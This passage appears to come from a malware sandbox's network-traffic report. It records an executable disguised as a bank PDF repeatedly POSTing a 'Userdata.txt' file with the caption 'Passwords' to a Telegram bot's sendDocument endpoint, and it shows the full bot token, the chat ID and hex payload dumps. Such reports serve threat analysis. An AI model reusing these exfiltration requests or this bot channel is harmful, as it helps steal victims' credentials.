                                                                                                          Content-Type: multipart/form-data; boundary================8dd1411232f9549
                                                                                                          Host: api.telegram.org
                                                                                                          Content-Length: 1090
                                                                                                          Connection: Keep-Alive
                                                                                                          2024-12-03 09:08:28 UTC1090OUTData Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 34 31 31 32 33 32 66 39 35 34 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
                                                                                                          Data Ascii: --===============8dd1411232f9549Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
                                                                                                          2024-12-03 09:08:29 UTC388INHTTP/1.1 200 OK
                                                                                                          Server: nginx/1.18.0
                                                                                                          Date: Tue, 03 Dec 2024 09:08:28 GMT
                                                                                                          Content-Type: application/json
                                                                                                          Content-Length: 541
                                                                                                          Connection: close
                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                          Access-Control-Allow-Origin: *
                                                                                                          Access-Control-Allow-Methods: GET, POST, OPTIONS
                                                                                                          Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
                                                                                                          2024-12-03 09:08:29 UTC541INData Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 35 31 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 37 36 34 34 38 30 35 39 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 32 31 36 39 30 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d
                                                                                                          Data Ascii: {"ok":true,"result":{"message_id":516,"from":{"id":7876448059,"is_bot":true,"first_name":"Ghztsty","username":"Ghztsty_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1733216908,"document":{"file_nam


                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                          8192.168.2.549885149.154.167.2204431292C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                                                          TimestampBytes transferredDirectionData
                                                                                                          2024-12-03 09:08:31 UTC296OUTPOST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1
                                                                                                          Content-Type: multipart/form-data; boundary================8dd14371a613ba1
                                                                                                          Host: api.telegram.org
                                                                                                          Content-Length: 1090
                                                                                                          Connection: Keep-Alive
                                                                                                          2024-12-03 09:08:31 UTC1090OUTData Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 34 33 37 31 61 36 31 33 62 61 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
                                                                                                          Data Ascii: --===============8dd14371a613ba1Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
                                                                                                          2024-12-03 09:08:32 UTC388INHTTP/1.1 200 OK
                                                                                                          Server: nginx/1.18.0
                                                                                                          Date: Tue, 03 Dec 2024 09:08:32 GMT
                                                                                                          Content-Type: application/json
                                                                                                          Content-Length: 541
                                                                                                          Connection: close
                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                          Access-Control-Allow-Origin: *
                                                                                                          Access-Control-Allow-Methods: GET, POST, OPTIONS
                                                                                                          Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
                                                                                                          2024-12-03 09:08:32 UTC541INData Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 35 31 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 37 36 34 34 38 30 35 39 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 32 31 36 39 31 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d
                                                                                                          Data Ascii: {"ok":true,"result":{"message_id":517,"from":{"id":7876448059,"is_bot":true,"first_name":"Ghztsty","username":"Ghztsty_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1733216912,"document":{"file_nam


                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                          9192.168.2.549894149.154.167.2204431292C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                                                          TimestampBytes transferredDirectionData
                                                                                                          2024-12-03 09:08:35 UTC296OUTPOST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1
                                                                                                          Content-Type: multipart/form-data; boundary================8dd145f87e057f7
                                                                                                          Host: api.telegram.org
                                                                                                          Content-Length: 1090
                                                                                                          Connection: Keep-Alive
                                                                                                          2024-12-03 09:08:35 UTC1090OUTData Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 34 35 66 38 37 65 30 35 37 66 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
                                                                                                          Data Ascii: --===============8dd145f87e057f7Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
                                                                                                          2024-12-03 09:08:35 UTC388INHTTP/1.1 200 OK
                                                                                                          Server: nginx/1.18.0
                                                                                                          Date: Tue, 03 Dec 2024 09:08:35 GMT
                                                                                                          Content-Type: application/json
                                                                                                          Content-Length: 541
                                                                                                          Connection: close
                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                          Access-Control-Allow-Origin: *
                                                                                                          Access-Control-Allow-Methods: GET, POST, OPTIONS
                                                                                                          Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
                                                                                                          2024-12-03 09:08:35 UTC541INData Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 35 31 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 37 36 34 34 38 30 35 39 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 32 31 36 39 31 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d
                                                                                                          Data Ascii: {"ok":true,"result":{"message_id":518,"from":{"id":7876448059,"is_bot":true,"first_name":"Ghztsty","username":"Ghztsty_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1733216915,"document":{"file_nam


                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                          10192.168.2.549903149.154.167.2204431292C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                                                          TimestampBytes transferredDirectionData
                                                                                                          2024-12-03 09:08:38 UTC296OUTPOST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1
                                                                                                          Content-Type: multipart/form-data; boundary================8dd148661ab8fff
                                                                                                          Host: api.telegram.org
                                                                                                          Content-Length: 1090
                                                                                                          Connection: Keep-Alive
                                                                                                          2024-12-03 09:08:38 UTC1090OUTData Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 34 38 36 36 31 61 62 38 66 66 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
                                                                                                          Data Ascii: --===============8dd148661ab8fffContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
                                                                                                          2024-12-03 09:08:39 UTC388INHTTP/1.1 200 OK
                                                                                                          Server: nginx/1.18.0
                                                                                                          Date: Tue, 03 Dec 2024 09:08:39 GMT
                                                                                                          Content-Type: application/json
                                                                                                          Content-Length: 541
                                                                                                          Connection: close
                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                          Access-Control-Allow-Origin: *
                                                                                                          Access-Control-Allow-Methods: GET, POST, OPTIONS
                                                                                                          Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
                                                                                                          2024-12-03 09:08:39 UTC541INData Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 35 31 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 37 36 34 34 38 30 35 39 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 32 31 36 39 31 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d
                                                                                                          Data Ascii: {"ok":true,"result":{"message_id":519,"from":{"id":7876448059,"is_bot":true,"first_name":"Ghztsty","username":"Ghztsty_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1733216919,"document":{"file_nam


                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                          11192.168.2.549913149.154.167.2204431292C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                                                          TimestampBytes transferredDirectionData
                                                                                                          2024-12-03 09:08:42 UTC296OUTPOST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1
                                                                                                          Content-Type: multipart/form-data; boundary================8dd14aa57f67ea2
                                                                                                          Host: api.telegram.org
                                                                                                          Content-Length: 1090
                                                                                                          Connection: Keep-Alive
                                                                                                          2024-12-03 09:08:42 UTC1090OUTData Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 34 61 61 35 37 66 36 37 65 61 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
                                                                                                          Data Ascii: --===============8dd14aa57f67ea2Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
                                                                                                          2024-12-03 09:08:42 UTC388INHTTP/1.1 200 OK
                                                                                                          Server: nginx/1.18.0
                                                                                                          Date: Tue, 03 Dec 2024 09:08:42 GMT
                                                                                                          Content-Type: application/json
                                                                                                          Content-Length: 541
                                                                                                          Connection: close
                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                          Access-Control-Allow-Origin: *
                                                                                                          Access-Control-Allow-Methods: GET, POST, OPTIONS
                                                                                                          Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
                                                                                                          2024-12-03 09:08:42 UTC541INData Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 35 32 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 37 36 34 34 38 30 35 39 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 32 31 36 39 32 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d
                                                                                                          Data Ascii: {"ok":true,"result":{"message_id":520,"from":{"id":7876448059,"is_bot":true,"first_name":"Ghztsty","username":"Ghztsty_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1733216922,"document":{"file_nam


                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                          12192.168.2.549922149.154.167.2204431292C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                                                          TimestampBytes transferredDirectionData
                                                                                                          2024-12-03 09:08:45 UTC296OUTPOST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1
                                                                                                          Content-Type: multipart/form-data; boundary================8dd14ce19e68447
                                                                                                          Host: api.telegram.org
                                                                                                          Content-Length: 1090
                                                                                                          Connection: Keep-Alive
                                                                                                          2024-12-03 09:08:45 UTC1090OUTData Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 34 63 65 31 39 65 36 38 34 34 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
                                                                                                          Data Ascii: --===============8dd14ce19e68447Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
                                                                                                          2024-12-03 09:08:46 UTC388INHTTP/1.1 200 OK
                                                                                                          Server: nginx/1.18.0
                                                                                                          Date: Tue, 03 Dec 2024 09:08:45 GMT
                                                                                                          Content-Type: application/json
                                                                                                          Content-Length: 541
                                                                                                          Connection: close
                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                          Access-Control-Allow-Origin: *
                                                                                                          Access-Control-Allow-Methods: GET, POST, OPTIONS
                                                                                                          Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
                                                                                                          2024-12-03 09:08:46 UTC541INData Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 35 32 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 37 36 34 34 38 30 35 39 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 32 31 36 39 32 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d
                                                                                                          Data Ascii: {"ok":true,"result":{"message_id":521,"from":{"id":7876448059,"is_bot":true,"first_name":"Ghztsty","username":"Ghztsty_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1733216925,"document":{"file_nam


                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                          13192.168.2.549933149.154.167.2204431292C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                                                          TimestampBytes transferredDirectionData
                                                                                                          2024-12-03 09:08:48 UTC296OUTPOST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1
                                                                                                          Content-Type: multipart/form-data; boundary================8dd14f595edc067
                                                                                                          Host: api.telegram.org
                                                                                                          Content-Length: 1090
                                                                                                          Connection: Keep-Alive
                                                                                                          2024-12-03 09:08:48 UTC1090OUTData Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 34 66 35 39 35 65 64 63 30 36 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
                                                                                                          Data Ascii: --===============8dd14f595edc067Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
                                                                                                          2024-12-03 09:08:49 UTC388INHTTP/1.1 200 OK
                                                                                                          Server: nginx/1.18.0
                                                                                                          Date: Tue, 03 Dec 2024 09:08:49 GMT
                                                                                                          Content-Type: application/json
                                                                                                          Content-Length: 540
                                                                                                          Connection: close
                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                          Access-Control-Allow-Origin: *
                                                                                                          Access-Control-Allow-Methods: GET, POST, OPTIONS
                                                                                                          Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
                                                                                                          2024-12-03 09:08:49 UTC540INData Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 35 32 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 37 36 34 34 38 30 35 39 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 32 31 36 39 32 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d
                                                                                                          Data Ascii: {"ok":true,"result":{"message_id":523,"from":{"id":7876448059,"is_bot":true,"first_name":"Ghztsty","username":"Ghztsty_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1733216929,"document":{"file_nam


                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                          14192.168.2.549942149.154.167.2204431292C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                                                          TimestampBytes transferredDirectionData
                                                                                                          2024-12-03 09:08:52 UTC296OUTPOST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1
                                                                                                          Content-Type: multipart/form-data; boundary================8dd1527480b56d0
                                                                                                          Host: api.telegram.org
                                                                                                          Content-Length: 1090
                                                                                                          Connection: Keep-Alive
